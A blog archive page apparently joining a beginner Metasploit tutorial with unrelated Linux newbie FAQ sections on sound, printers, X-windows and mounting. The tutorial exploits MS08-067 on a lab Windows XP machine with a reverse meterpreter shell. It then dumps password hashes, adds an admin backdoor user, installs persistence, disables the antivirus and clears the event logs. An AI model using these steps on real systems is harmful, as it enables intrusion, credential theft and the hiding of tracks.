Hacking with Bactrack 5 P2

Hello guys, at the last post i show you my first hack n now i'm continuing show you guys the next step with the advanced technique

Step 4 – Maintaining access
For future use I can get the passwords hashes with the script hashdump:
run hashdump

The AV installed in my target machine don’t show alerts because meterpreter work only in memory, but the problem to stay in memory is…. if the user reboot machine I lose my session… and if the user load a Microsoft patch for this vulnerability…

Figure 29. Connecting with rdesktop

Figure 30. Log me in

Figure 31. Disabling AV

Figure 32. Meterpreter service

I lose my session forever… meterpreter has two way to maintain access, but for do this is necessary to put something to hard disk… and now the AV wins…try…
run metsvc (metsvc has some options, but in this case is not important…).
As you can see in Figure 21 meterpreter can’t cre- ate the service and if you go to target console you can see the AV popup…not good… (Figure 22).

Figure 33. Listening ports

Figure 34. Deleting user

Figure 35. Disabling RDP

Is not my business, but a lot of time ago my friend tell me the existence of killav script…I don’t know but the name look good…let’s try… run killav and now try again with metsvc… (Figure 23)
Fail again… if you type run metsvc with –h you get the help and with run metsvc –r you can uninstall the service… with the AV is possible which a part of service get installed, is better to remove before continue with our experiments (Figure 24)…
With ps command you can show the AV processes… in my case the AV is Avast and the processes is AvastSvc and AvastUi, but you can’t stop this processes, today most AV protect their services from the stop, in a lot of product you can’t modify the reg keys for this services (Figure 25) … Ok… bypassing AV is too hard for me…I will try the second way (Figure 26):
run persistence
But the AV wins again… no way (Figure 27)…. Ok, forget the persistence for few moments…
now I want to get RDP access, for do this I need to
create new admin user:
load incognito with this extension I work with users and groups…
Add_user hacker Passw0rd I add a new user hacker with password Passw0rd
Add_localgroup_add administrators hacker and I put my new create user in the administrators group

Figure 36. Uninstalling metsvc

Figure 37. The target log verbosely

Now I will enable the RDp on target machine, I have a usefull script for this (Figure 28):
run getgui -e
I log on my target with rdesktop: if you re-tray now with run metsvc the service will install. And the default metsvc port 31337 Tcp is listening (Figure 32 and Figure 33).
If you scan the HD with your AV the meterpreter file was discovered and the name of services is too detectable…but this is a beginners article… stay tuned…;)
rdesktop 192.168.254.11 –k it (I use Italian keyboard)
And now I am logged on (Figure 30)… Now I will disable the AV, I will try the most trivial solution… from Windows XP GUI push right over AV icon and then disable for few minutes (Figure 31),

Figure 38. But now don’t log me

Figure 39. The log look better now

Figure 40. Yes, now look good

Step 5 – Clearing tracks
My first step for clearing track is to remove all which I have installed for disabling AV, from the GUI I open compmgmt.msc and I delete my user hacker (Figure 34).
After that I open “remote connection” and I remove the flag for enabling RDP (Figure 35).
Now I lose the connection with the system, from my meterpreter console I remove metsvc services with run metsvc -r (Figure 36).
Before closing my session still lack one thing, the log… just for your information this is the log of my target machine (Figure 37).
Mmmhhh, too much information….from meterpreter session I type clearev and all log will cleared (Figure 38).
If you look the log now you can see only Security Event ID 517 – the audit log was cleared NT AU- THORITY/SYSTEM (Figure 39) … and the other log contain nothing… and now you can go drink a nice cold beer… young hacker… but this is only the beginning... the second step is try to get session via client side attack (Figure 40)…

Hacking with backtrack 5 P1

My First Hack
Basic Introduction to Metasploit Framework
Hey Guys, are you ready for owning our first machine?
Yes, today we go together in the word of ethical hacking, we try to exploit our first machine, but not like a script kiddies, but with the five step of professional pentest… yes the machine has onboard an old operating system, yes the exploit is also old, but I hope you understand all our step and, with patience and study, you can exploit in the same manner newer machine….

For this lab I use an old Windows XP Sp3 italian and my favorite attacking machine with Backtrack 5R3 x64, the Ip address of the target is 192.168.254.11/24 and my IP is 192.168.254.3/24. This article is for beginner for this reason only to word to set attacker IP address, BT 5 R3 has a dhcp client deamon dhclient3 started by default, but I can set my IP statically with three simple commands:
Ifconfig eth0 192.1689.254.3/24 _{→ for setting IP} and subnet
route add default gw 192.168.254.254 _{→ for setting} default gateway

                                                               Figure 1. Static IP

Figure 2. Start dhcp client

echo nameserver 8.8.8.8 > /etc/resolv.conf _{→ for} setting the DNS server, now I will use google DNS server

You can stop the dhco client service with → killall dhclient3 without this command you can loose your IP when the dhclient timeot end and the daemon start with a new dhcpdiscover.

If you prefer dhcp, you can force the process with the command → dhclient3 (Figure 2).
For a more realistic environment I have installed in the target machine Avast free antivirus ed.2012 with the last signature database (Figure 3).

Figure 3. My Target machine AV

Normally I use Vmware Workstation for my labs, today I am using the version 9.0.1, no matter for network setup, now I work in bridged mode, but you can use your preferred configuration, the only issue is to set all virtual machine in the same manner.
Now I will work in professional way, like ethical hackers and not a black hat, for do this I need to respect ROE (role of engagement) for ensure SLA (service level agreement), but this is not enough, to ensure metrics and repeatability we need to use a well known methodology, is out of scope of this article explain in detail complex methodology like OSTMM, but the more simple methodology is the use of five step; two step of pre-attack phase, the attack phase and other two step of post-attack phase.

Here we go with the first step, the scanning…

Step 1 – Scanning
For this purpose I use nmap, in my opinion nmap is the better choice for network scanning, you can scan the network in many way, but if your ROE in- clude low noise you can’t use the scanner with all default settings, like:

nmap 192.168.254.11 (just only for timing, I work with the single IP and not with the entire subnet)If I use all nmap defaults I will scan 1000 port (http://nmap.org/book/man-port-specification.html) with T3 timing, with T3 nmap include parallelization of scanned ports (T0 wait 5 min. between sending each probe, T1 wait 15 sec. and T2 wait 04 sec. – http://nmap.org/book/man-performance.html), for a more stealth scan I choose only few port, in my example the ports 80,139,445,21 and 3389 and I

Figure 4. Scanning with nmap

Figure 5. smb-check-vulns script

set the timing manually, in real life I will choose T0, but in this example, and only for not wasting time, I use T3. With the switch _–sV I tell nmap to scan services versions.
nmap 192.168.254.11 -p 80,139,445,21,3389 -sV -O -T3
The first interesting information is the ports 139 and 445 are open, and nmap try also to discover the Operating System version
OS CPE: cpe:/o:microsoft:windows_xp::sp3 OS details: Microsoft Windows XP SP3
Mmmmh, if you are an experienced pentester the couple winXp and port 139(or 445) Tcp open sug- gests an SMB vulnerability…ok, go deeper using nmap scripts…

Step 2 – Enumeration
We have a lot of tools and techniques for enumeration, if you are very aggressive, you can use Nessus or OpenVas or other vulnerability assessment tools, for this demo I will use some NSE scripts, NSE is Nmap Scripting Engine, this kind of scripts can hel you in a lot of situation, if you want to know more about nse scripts you can

Figure 6. smb-os-discovery script

Figure 7. Run nmap scripts

read the documentation at: http://nmap.org/nsedoc/. In our example I use only two scripts, this is a good tecnique for keep down the noise, if you don’t have this problem you can use all scripts or a scripts family, you can also use some scripts. The “default” family using the nmap’s switchs: _–A, this switch execute _–sV, version scan, _–O detection of operating system, traceroute and the default family of NSE scripts, the scripts that make the various families can be founded in nsedoc web page. For scanning my target I use smbcheck-vulns script for check if the target is vulnerable for some well-known attacks, the second script is smb-os-discovery, this script is good for detecting the §OS version via SMB discovery. The first script can be dangerous, for this, nmap don’t use directly, for the right execution you must use the switch _{--script-args=unsafe=1} (Figure 5 and Figure 6).
My string become:
nmap 192.168.254.11 -p 139 --script=smb-osdiscovery,smb-check-vulns --script-args=unsafe=1
After the scripts execution I can see witch the target machine are vulnerable to MS08-067 SMB re- mote buffer overflow, now I try to gain access in to the target machine.

Figure 8. Search exploit with google http://www.metasploit. com/modules/exploit/windows/smb/ms08_067_netapi

Figure 9. Exploit description in metasploit.com

Step 3 – gaining access
If you are a n00b is possible who you don’t know what is MS08-067… this is a GREAT exploit, just a little bit older, but great, you can use this exploit a lot of times even if you are using it against a machine already compromised, if the exploit crash, no problem you can re-use again, the next SMB exploit, the SMB exploit MS09-050 is also a good exploit, but some time you can get BSOD, if your session crash you aren’t able to compromise again the target unless the machine was rebooted… no, the MS08-067 is not like this… you can use it as many times as you want in any way you want ... of course if the service is started: D.
But if you don’t know this exploit… google is your friend… if I put my question in google: "metasploit ms08 067 netapi" you can get the page in metasploit.com site (Figure 8-10)…
As you can see, this exploit work with a lot of operating system from windows 2000 universal to windows XP sp3, the exploit has also the default option “automatic targeting”…great…
Now I can start metaploit in my attacking machine, in my installation metasploit is in /git/ metasploit/metasploit-framework if your path is different you need to modify the change directory operation…In my machine:

Figure 10. Target OS for my exploit

cd /git/metasploit/metasploit-framework search ms08-067

Is also possible witch your metasploit path was in executable’s path, in this case you need only to call metasploit console…
OK, now I am in the correct directory and I can start msfconsole, my preferred metasploit interface:
./msfconsole ( if you are invoking metasploit console from another directory because the binary is in the executable search path you must type only msfconsole without the “./”; Figure 11).
Now, if I don’t know where the exploit is, I can search with the command:

Figure 11. Starting msfconsole

Figure 12. Searching exploit in metasploit

Figure 13. Exploit info

^{I type}  use exploit/windows/smb/ms08_067_netapi  ^for

set my exploit and with the command info I can have, more or less, the same output of the web page of the Figures 13 and 14.
I need to set my payload and other required options, if I can I use meterpreter, and the revers payloads are very usefull , you can also choose payload like reverse_http that comply with protocolrequirement https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreterhttphttps-communication:

Figure 14. Exploit info – cont

Figure 15. Setting exploit

Figure 16. Gotcha

set PAYLOAD windows/meterpreter/reverse_tcp set RHOST 192.168.254.11
set LHOST 192.168.254.3
RHost is the target machine, lhost is the machine where I want to go the reverse shell.
With show options I can verify my settings and with exploit I can run my exploit.
In real word I use exploit –j because with this option you can force the active module to the background (Figure 15 and 16).

Figure 17. Start interaction

Figure 18. Target processes

Figure 19. Migrate to another process

Figure 20. Password hashes

In Figure 16, you can see the creation of your first meterpreter session… very well, you are a hacker now… 
….mmmmhh… it is not so simple… you have still a long way… but this is your first 0wning… this is the beginning… now you can interact with your session using the command:
sessions –i 1
With getuid you can show your current user and with getpid you can see your process id, the command ps is for showing the processes, at this point you can migrate from your current process to an

Figure 21. Oops

Figure 22. Avast wins

Figure 23. Ok, try again

Figure 24. Uninstall metsvc

other…in this case I want to migrate to explorer process, this is a good process, normally the users don’t kill explorer until the machine turn off.
In my example explorer has PID 1084 and I type:
migrate 1084 

If I need system privilege I can try privilege escalation with getsystem command.

Figure 25. Avast processes

Figure 26. Trying another way

Figure 27. Avast 2 – Persistence 0

Figure 28. Go to RDP

To Be Continuous

Linux for Newbie(Part 5.4)

4 Printer and soundcard
4.1 How to setup my soundcard?

Try to run (as root) setup The third button from the top ("sndconfig") sets up the sound card. Unless you have a very fancy sound card, this will work for you. At the end of the setup, Linus says how he pronounces "Linux". ("sndconfig" can be also run directly from the command line--type sndconfig.) You may want to try your soundcard and cdrom using a command line cdplayer. Put a music CD to your CDROM and type: cdplay If this does not work, maybe you don’t have /dev/cdrom? Check if you can mount a data CD as a root (look here [p 62] ) and create the device /dev/cdrom by linking it to the appropriate drive (most likely /dev/hdb), for example: ln -s /dev/hdb /dev/cdrom If cdplay works for root, but does not work for a regular user, maybe you need to give (as root) everybody the permissions to read and write to the the file /dev/cdrom : 77 chmod 666 /dev/cdrom (The directory /dev is where all your devices appear as files.) Now, that you got hooked on cdplay, you can play third song, try: cdplay play 3 You can also use the command cdp for rudimentary command line interface to cdplay, but perhaps you preffer the interfaces available from under X-windows (e.g., from KDE "K" menu, choose: Multimedia-"CD Player"). To stop the music either press the button on you CDROM or issue one of these commands: eject cdplay stop
4.2 How do I setup my printer?
As root, start an X-windows session by typing startx Read here [p 74] if your X-windows is not set up properly yet. Start an X-terminal (the "two-computer" button on your K-bar) and type in it: printtool This program does a complete printer setup, you just have to fill up the information about your type of printer and where it is hooked up. Specifying the proper printer port is the most important part. If you don’t know which one is yours try: on RedHat 5.2: lp1 (this is the first parallel port on RH5.2 ) or lp2 (this is the second parallel port on RH5.2) or lp3 (this is the third parallel port on RH5.2); on RedHat 6.0: lp0 (this is the first parallel port on RH6.0) or lp1 (this is the second parallel port on RH6.0) or lp2 (this is the third parallel port on RH6.0). After upgrading from RH5.2 to 6.0, the printing stopped working because of the names changes of the parallel ports. I had to re-run the printool and adjust the port. Try printing an ASCII test-page straight to the port. Only when this works set up the bells and whistles. If you are setting up a remote printer, make sure that your machine has the permission to use the remote printer. The permissions are set in the file /etc/hosts.lpd (more secure) or /etc/hosts.equiv (less secure). These files simply list the names of the machines, one machine per line. Mine looks like this: 78 hacker mars The file /etc/hosts.lpd did not exist on my system, so I created it. For quick information about the printers on your machine, you may want to view the file /etc/printcap : cd /etc/ cat printcap Here is the meaning of some codes that I see in my /etc/printcap: : Field separator (separates the entries in the file). \ (at the end of line) Continuation on the next line. lp Name of the printer. "lp" is the name of the default printer on your machine. Subsequent printer are often, by default, given the the names lp0 or lp1, ... (or whatever you like) but this should not be confused with the name of the devices (ports) to which they are connected. sd=/var/spool/lpd/lp My spool directory (sd). mx#0 Maximum size of print jobs (mx) in blocks. "0" means no limit. sh I want headers to be suppressed (sh). Header is the page with your name that prints before your printing job (waste of paper if you print at home). rm=mars Name of the remote machine (rm), which on my system is called "mars (my printer is connected to a different computer). rp=lp or lp=/dev/lp0 Name of the remote printer (rp), which is the name of the printer on the remote machine ("lp" on my system) or the name of the device on the local machine. "/dev/lp0" is the first parallel port on RH6.0 (it used to be /dev/lp1 on RH5.2). if=/var/spool/lpd/lp/filter Input filter (if). Your printing job will be formatted by this "filter" before it is sent to the printer. sf Suppress the form feed (sf) that is normally sent when printing is completed (use it if your printer keeps printing an empty page at the end of each jobs). The printer is controlled using the command lpc (as root). Type "?" to see the options. This program is notorious for its peculiarities, so don’t get discouraged easily. The printer queue can be viewed with lpq and cleaned with lprm,both of which work for a user (not only root). You can print from the command line using the command lpr. 79
4.3 Word Perfect 8 does not have a driver for my printer
If you installed your printer in KDE using the printtool and it had a driver which works alright, set up Word Perfect to print using the "passthru postscript" driver.

Linux for Newbie(Part 5.3)

3 Working with X-windows
3.1 How do I install kde on RedHat 5.2?

RedHat 5.2 does not install kde by default because at the time of the RH5.2 release there was a problem with the license for a library that the kde uses. Otherwise, kde is a very good GUI, the library license problem is now solved, and the latest RedHat (6.0) includes kde (and the more ornamental GNOME). Still, the kde binaries are on your RedHat 5.2 CDs, you just have to install them yourself. (If you don’t have the CDs, you can download the binaries from the kde site on the Internet.) First check if your X-server works by executing: xinit [The X-server is a bare-bone X-windows system, without a "Windows Manager." You can execute your X-windows programs from here by typing the program name (with leading ./ or full path) in the X-terminal window, but you will not be able to move or resize the windows, add icons, etc.] You can exit your X-server by typing exit in the X-terminal window, or pressing to kill the X-windows server. (The last solution is perfect should your windows ever hang-don’t reboot in such a case.) If your X-server does not work, see the next answer. Now, login as root. Mount the RH5.2 CD: mount /mnt/cdrom Go to the proper directory: cd /mnt/cdrom/kde/distribution/RedHat/i386/binary It is useful to use the command line autocompletion (press Tab) when typing long paths or filenames. 72 Read the README file: cat README-2rh51-rpms | more Use the rpm "RedHat Package Manager" to install the necessary packages rpm -iv packagename The packages have filenames ending with .rpm. First install the qt libraries, then kde support, then kde libs, then kde base. If you choose the wrong order, the dependency check will fail and the package will not install (rpm will issue a message). This is not serious, just re-install the required package first, and then try the next package again. After you are done with the base, you may want to install all other packages for kde (utill, admin, network, games, graphics, multimedia)--they are not big, so you may consider installing them all. Finally, just to make sure that you installed everything type: rpm -ivh *.rpm The options "vh" print some extra info. You will get some messages like "the package is already installed" If there is more than a screenful of them, you can scroll back using . If you really don’t like the command-line-based rpm package manager, you may install the same packages using a GUI front to rpm called glint (available only in RH5.2). Just type "glint" in the X-windows terminal. Now tell your system that kde is to be your default X-windows manager. In user home directory, create an .Xclients file: pico .Xclients which contains just one line: /opt/kde/bin/startkde Type in the line and save the file. (Adjust the line as requierd so the location of the startkde file is correct.) Now, make the file executable to all users: chmod a+x .Xclients Check if the permissions were changed: ls -l .Xclients [Files with a dot at the beginning are not displayed by a regular ls command, there are something like hidden files under DOS. You must use its name or ls -a .] If you created the file as root not the user, change the owner and the group of the file to the proper user: 73 chown user_name .Xclients chgrp user_name .Xclients That’s it. Now typing startx should start your X-server with the kde as the windows manager. 
3.2 How do I setup video card, monitor and mouse for the X-server? 
This should be set-up during your RH5.2 Linux installation unless you skipped the step. To set it up now, you may try, as root, one of these configurators: Xconfigurator XF86Setup xconf The simplest way is to run the command setup (as root) and access Xconfigurator from there. To setup X-windows under Linux, you may need to know your hardware. You may want to dust your monitor manual to see what max synchronization frequencies (vertical and horizontal) your monitor supports. The message when the computer boots may give you a clue about what type of video card you have and with how much memory. Read the label underneath your mouse to find out about the mouse. Next time you buy a mouse, get a 3-button "Linux-ready" Logitech or similar (Linux makes a good use of all three mouse buttons). When testing the X-server, if the screen goes blank, displays funny lines, or otherwise obviously does not function as designed, kill it fast with and re-check your monitor sync frequencies. Running wrong frequencies can be bad for your monitor. If you really have problems, set up a basic vga (640x480) server first. You can fine-tune it later, after you get some understanding of how things work on your system. 
3.3 How to X-window remotely? 
- Start X-server on the local machine, e.g. xinit - From the x-terminal give the remote machine the permission to display on your local screen: xhost name_of_the_remote_server In the really secure environment of my house, I could even give all servers the permission to display on my screen using: xhost + - Telnet the remote server. 74 - Start an X-program on the remote server directing the display on your local screen, for example, you may start a window manager: startkde -display local_machine_name:0.0 & The symbol "&" puts the command in the background, so that your telnet window is still available to you. The 0.0 means "display zero, screen 0", which is your first screen on the first display and makes sense since you can have many concurrent sessions of X running on your computer with Linux. You don’t have to specify the "-display" option if your environment variable DISPLAY specifies the correct location on your current terminal, which is the case on my systems by default, but not on everybody else’s as I am told. You can check your DISPLAY setting using: echo $DISPLAY - After I finish my remote X session, I restore the access control to my X-server using: xhost -name_of_the_remote_server or xhost - Example. This sequence of commands will run Netscape on the remote machine called marie, directing the display to the X-server with X-windows manager which runs on the local machine hacker: startx xhost marie telnet marie [login] netscape -display hacker:0.0 & [do my stuff] [logout] xhost -marie In principle, you can run a program on any computer on the network, and display the output on any other (not necessarily the one you are sitting at). I use remote X-windowing a lot to run fat programs (kde, Word Perfect 8, and Netscape) on a slim machine (486-33, 8 MB mem) which would not be able to run those by itself. It is also a convenient and fast way to work with files on a remote system for which the nfs mount is not set up.
3.4 Can I have multiple sessions of X running at the same time? 
Yes, you can. When you issue the first startx command on your system, it opens the first X-session on the default display 0. The second X-session must be opened on a different display. For example, this will open a second X-session on the display 1: startx -- :1 You can have up to 6 concurrent X sessions. Use to switch to display 0, to second screen, etc. up to Try man startx if you need more info. In a similar fashion, you can open another bare X-server session without a window manager. This will open one on display 2: xinit -- :2 On this bare-bone X-display I can run a different windows manager (so as to have two different ones running at the same time) by typing in the X-terminal window one of these: fvwm2 (to run fvwm2) startkde (to run kde) afterstep (to run afterstep) fvwm (to run fvwm) AnotherLevel (to run AnotherLevel) gnome-session (to run Gnome) Of course the alternative windows manager will run only if it is installed on your system. The above windows managers are available on your RH5.2 CD for you to decide if you want them (with the exception of Gnome, which is not present on RH5.2 but is the default on RedHat 6.0 and 6.1). I use almost exclusively KDE, although the other managers may be smaller and faster. Gnome is a famous X-windows project which is said to be more advanced and is prettier than KDE, but it is still quite buggy, so perhaps not recommended unless you don’t mind occasional trouble. RH6.0 and 6.1 contain both major X-windows systems, Gnome and KDE.
3.5 Can I have a GUI login prompt? 

To start up your X-server automatically on the system start-up and display a graphical login prompt, you have to edit just one character in the file /etc/inittab . This file specifies something like: id:3:initdefault: Change it to id:5:initdefault: 76 This sets up the default runlevel to 5, which is X-Windows. The meaning of the different runlevels is explained in the same /etc/inittab file : 0 - halt (Do NOT set initdefault to this) 1 - Single user mode 2 - Multiuser, without NFS (The same as 3, if you do not have networking) 3 - Full multiuser mode 4 - unused 5 - X11 6 - reboot (Do NOT set initdefault to this) You can change the runlevel from the command line with a command like this (as root): init 6 which will reboot your computer.

Monetize your web traffic on mobile today.
Earn highest revenues for your mobile web.

Linux for Newbie(Part 5.2)

2 Accessing my drives
2.1 Where are my drives?
Linux shows all the directories in one directory tree, irrespectively of what drives/hardware they are found on. Generally, this is a much better solution than the traditional DOS/Windows model--it completely abstracts the file system from the underlying hardware. You will appreciate this if you ever have to re-arrange or expand your hardware or add network resources. But for the users who are accustomed to the DOS way of dealing with drives, it adds some extra complexity.

In short, don’t search for drive letters. There are none under Linux; the content of your disks appears as subdirectories on your single Linux filesystem (directory tree). On default, the content of 61 removable media does not appear automatically in these subdirectories--you have to "mount" your drives. See the next answers for details. You should also unmount a drive before ejecting the media. You can access (read and write) a variety of drives and file systems from under Linux. This includes native Linux partitions, DOS and MS Windows partitions (on hard drives or floppies), ZIP and Jazz drives, and CDROM disks. Many less common file system types are also supported. This means that you can download your Linux software using Netscape for Windows, save the downloaded file on you MS Windows hard drive partition, and then boot Linux and copy the downloaded software from the Windows partition on you harddrive to the Linux partition, and finally install the software under Linux.

2.2 How can I access my CDROM? 
Mount it. The mounting adds all the directories and files from your CD to your Linux directory tree so you can easily access them without the drive letter. As root, you can mount the CDROM with a command like this: mount -t auto /dev/cdrom /mnt/cdrom If this works, the content of your CD appears in the directory /mnt/cdrom Chances are this command will not work for you right away--you may have to customize it. Here is how it works. The command tells the operating system to mount a filesystem autodetecting the filesystem type ("-t auto"). The device is /dev/cdrom. The mountpoint (the directory where to which "mounting" takes place) is /mnt/cdrom. This directory must exist and be empty. If it does not exist, create it with: mkdir /mnt/cdrom If the mounting command fails, make sure that the device /dev/cdrom exists. If it doesn’t, where is your CDROM? Chances are it is something like /dev/hdb if you have an IDE CDROM. Try /dev/hdb instead of /dev/cdrom in the mount example above. If this fails, you can try /dev/hdc or /dev/hdd, if your cd is an IDE CDROM. If none of them is your CDROM, maybe you don’t have IDE but a SCSI CDROM? Then try /dev/sda1, dev/sda2, etc. ["hda" is the the primary IDE master drive, "hdb" is the primary IDE slave drive, "hdc" is the secondary IDE master (if you have two IDE interfaces on your computer), hdd is the secondary IDE slave, "sda" is the first SCSI interface and the number is the SCSI device id number.] It is a good idea to have a device /dev/cdrom anyway because some programs assume that it exists. If it does not exist on your system, you may create it as a symbolic link using, for example: ln -s /dev/hdb /dev/cdrom if your cdrom is the /dev/hdb drive. 62 If you cannot mount because "the device is already mounted or directory busy", perhaps the mountpoint /mnt/cdrom is your current directory. You have to change the directory to somewhere else in order to be able to mount to it; for example change the current directory to the root directory by issuing this command: cd / To unmount a mounted CD, exit the directory /mnt/cdrom and type as a root: umount /mnt/cdrom Your CDROM may refuse to eject the media if it is not unmounted. Also, you may have problems mounting the next CD if the previous one was not unmounted. If you cannot unmount because "the device is busy", perhaps /mnt/cdrom (or any subdirectory underneath) is your current directory? You need to change your current directory to somewhere else out of the mountpoint in order to unmount the device.
2.3 How to mount a floppy, zip drive, DOS/Windows partition, or a network drive?
Very much the same as CDROM--see the previous answer if you did not read it. Floppy. I can mount my floppy (as root) with: mount -t auto /dev/fd0 /mnt/floppy Again, make sure that the directory /mnt/floppy exists and is empty. Also, /mnt/floppy/ cannot be your current directory. After a successful mount, the files from the floppy appear in the directory/mnt/floppy/ . All the users will be able to read the files, but only root will be able to modify/delete the files. Please read further if you wanted the users to be able to write to the floppy. To unmount a floppy (you *must* do this before ejecting the disk!) use: umount /mnt/floppy If you cannot unmount because "the device is busy", perhaps the /mnt/floppy/ directory is your current directory. Exit it by typing (for example): cd which will change your current directory to your home directory. Zipdrive. I mount the parallel port external zipdrive (scsi emulation) with: 63 mount -t vfat /dev/sda4 /mnt/zipdrive The "-t vfat" is used here because zip disks come preformatted in the vfat filesystem, which is the filesystem of MS Windows with the long filename support. You won’t be able to eject the disk without unmounting it. All zipdrives (internal SCSI and IDE, external SCSI and parallel port) but the USB are supported under Linux (April 1999). DOS/Windows partition. I use a dual boot system with both Linux and MS Windows on the same computer. I can access files on the DOS/Windows partition after mounting it with the following command: mount -t vfat /dev/hda1 /mnt/dosdrive Again, you may have to customize this command depending on what partition your DOS filesystem is. The "hda1" means the first IDE hard drive (hd a), first partition (1); "hda2" is the first IDE hard drive, second partition; "hda3"--the first IDE hard drive, third partition; "hdb1"--second IDE hard drive, first partition (or just "hdb" if it is the CDROM installed as a slave on your first IDE interface). "hdc" is the third IDE drive, hdd is the fourth IDE drive. SCSI drives have analogous names but start with letters "sd", followed by the letter indicating the SCSI interface, followed by the number indicating the SCSI device id . For example sda4 means "first SCSI interface, id number 4". To mount so that all the users can read and write, you may want to try: mount -t vfat -o user,rw,exec,umask=000 /dev/hda1 /mnt/dosdrive This uses options (-o user,rw,exec,umask=000) to give absolutely everybody all the permission to all files on your DOS /dev/hda1 partition (you should ask yourself if this is really safe on your system). If users still can’t write to the DOS partitions, perhaps the permissions on your mountpoint need to be set. This command (executed by root) will set up the permissions on the mountpoint /mnt/dosdrive so that all users will be given rights to read, write and execute: chmod a=rwx /mnt/dosdrive Network File System (NFS). This is great for direct access to files that reside on another Linux computer. For mounting of a remote filesystem as NFS, first check if the NFS service is enabled (use the program setup). NFS also requires permission from the other computer. To configure the permissions on the server machine, run as root: netconf and adjust the setting under "Exported File Systems" menu. If you prefer to do it manually, the permissions are set in the file /etc/exports. My /etc/exports looks like this: 64 /usr hacker(ro) mars(ro) /home hacker(rw) mars(rw) /mnt hacker(rw) mars(rw) This gives the machines called hacker and mars the permission to mount the directories /usr/ (read-only access), /home and /mnt (read-write). If you set up your NFS properly, you should now be able to mount a network directory using a command like this: mount -t nfs mars:/home /mnt/mars_home This mounts the contents of the directory /home/ on a machine called "mars" into the directory /mnt/mars_home/ (which must exist and be empty). Many operating systems know NFS, but MS Windows doesn’t. Therefore MS Windows remote shares have to be dealt with differently. See the next answer for details.
2.4 How to mount a remote MS Windows filesystem through Samba?

A remote MS Windows filesystem can be mounted onto a Linux filesystem through the Samba protocol (Samba must be installed, go here [p 86] if it isn’t). Type a command like this (as root): smbmount //mars/windows /mnt/mars_windows -c marie This mounts the MS Windows resource called windows from the MS Windows machine called mars. The mountpoint on the client computer is /mnt/mars_windows/. The option "-c" specifies that the samba server is a machine called marie (this should not be necessary, but it is on my system). For the above to work, the permission must be given on the MS Windows machine for sharing the directory or drive as a resource. To do this, on the MS Windows machine, enable the filesharing using the "control panel-network", then launch the "Windows Explorer", click the right mouse button on the drive or directory to share, click on properties, switch to the page "sharing", give yourself the permission and give the resource a name. To unmount an MS Windows directory use: smbumount /mnt/mars_windows If you have problems, see: man smbmout
2.5 Any quick way to access a file on a DOS/Windows floppy?
Use "mtools", no mounting required. For example, I can use the mdir command to quickly inspect the content of the root directory on my DOS floppy: 65 mdir a:\ I can also use mcopy to copy the file "autoexec.bat" from the root directory on the floppy to my current directory on Linux: mcopy a:\autoexec.bat . You have to be root to be able to write to a floppy. Type "mtools" to see the supported commands in the rich mtools set, which parallel the most popular DOS commands (for example: mformat, mtype, mren, mmove, mdel, mrd, mattib, ...), and use manual pages if you have problems using them. For example: man mtype will show me how to display a content of a text file on a DOS partition. To access DOS drives other than a: or b:, you have to configure mtools so as to indicate which devices are associated with other DOS "drive letters". This is quite easy--you just edit and modify the file /etc/mtools.conf. I typically use pico to do it (as root): pico /etc/mtools.conf For example, my /etc/mtools contains a line like this: drive c: file="/dev/hda1" which instructs the mtools that the partition "/dev/hda1" will be called "c:" The setup of /etc/mtools.conf requires just uncommenting (removing the "#" at the beginning of the line) and adjusting the appropriate entry.
2.6 Mounting works when I am root. Can a normal user mount? 
You have to edit the file /etc/fstab as root to give the normal users the permission to mount a particular drive. For example I can use the pico text editor to do this: pico -w /etc/fstab The option "-w" turns off the long line wrap. Here is the content of my /etc/fstab: /dev/hda2 /ext2 defaults 1 1 /dev/hdc3 /home ext2 defaults 1 2 /dev/hdc2 /usr ext2 defaults 1 2 /dev/hdc4 swap swap defaults 0 0 /dev/fd0 /mnt/floppy auto noauto,users,rw 0 0 /dev/cdrom /mnt/cdrom auto noauto,user,ro 0 0 /dev/sda4 /mnt/zipdrive vfat noauto,user,rw,exec 0 0 66 /dev/hda1 /mnt/dosdrive vfat noauto,user,rw 0 0 none /proc proc defaults 0 0 hacker:/mnt/cdrom /mnt/hacker_cdrom nfs noauto,user,ro 0 0 hacker:/mnt/floppy /mnt/hacker_floppy nfs noauto,user,rw 0 0 hacker:/home /mnt/hacker_home nfs noauto,user,rw 0 0 hacker:/usr /mnt/hacker_usr nfs noauto,user,rw 0 0 Each line contains six space-delimited fields (this means that each line has six entries separated by white space). The first field is the name of the device. The second field is the mountpoint (an existing directory on your Linux system to which the resource will be mounted). The third is filesystem type. For removable media that may contain filesystems of several types, I use the option "auto" to let Linux probe which filesystem is currently present there. (The order in which they are probed is determined by the content of the file /etc/filesystems . You may want to make sure that it specifies "vfat" before "msdos" or the long DOS filename may be cut short.) The fourth field contains options: "auto" = mount the filesystem on the system startup; "rw" = read and write allowed; "ro" = read only, "user" = users have the permission to mount this filesystem (one can also use "users" to allow a user to mount and another user to unmount--otherwise only the user that mounted the filesystem can unmount it), "exec" execution of programs is permitted from this filesystem. The number in the field 5 specifies if the filesystem is to be backed up during a system backup, the number in the field 6 determines if to check up the filesystem integrity during bootup. The hacker stuff in my /etc/fstab are filesystems on another computer (called "hacker") on my home network and it serves here as an example of how to mount network resources. Check man fstab for more info. For example, if regular (non-root) users have the permission to mount the cdrom (the "user" option is specified), they can mount it using a command like this: mount /mnt/cdrom The command which the root uses for mounting (see here [p 63] ) will not work for a regular user because the regular user is restricted by the options in /etc/fstab and therefore s/he cannot specify simultenously both the device and the mountpoint. For a regular user to be able to write to a disk or execute a program on it, s/he must also be given the appropriate permission on the "mountpoint" directory. For example, this will give all the users all the permissions (read, write, execute) on the directory /mnt/floppy : chmod a+rwx /mnt/floppy Now (also the "rw" option is specified for the floppy in the /etc/fstab) the user will be able to write to a floppy. If the "exec" option was enabled in the /etc/fstab, the user would also be able to execute programs from the floppy. Please note that the DOS vfat file system doesn’t know about the file permissions the way Linux does. Linux manages this during mounting by giving the default file permissions on the mounted filesystem: the user who mounted the filesystem will be the owner of all files and will be given the right to write to the filesystem (if "rw" was specified in fstab) but other users can only read. If you wanted to change this behaviour, you could use the "umask=" option so that the appropriate line in 67 your /etc/fstab may look like this example: /dev/sda4 /mnt/zipdrive vfat noauto,users,rw,exec,umask=000 0 0 This gives absolutely everybody all the permissions on your zipdrive (mounting, unmounting, read, write, execute). To summarize, the file /etc/fstab is the place to keep your defaults on how to mount filesystems and what kind of access is allowed for users. You really want to customize it to simplify mounting on your system. Linux default mounting scheme is restrictive so as to be secure, you may want to remove some restrictions when setting up Linux at home. 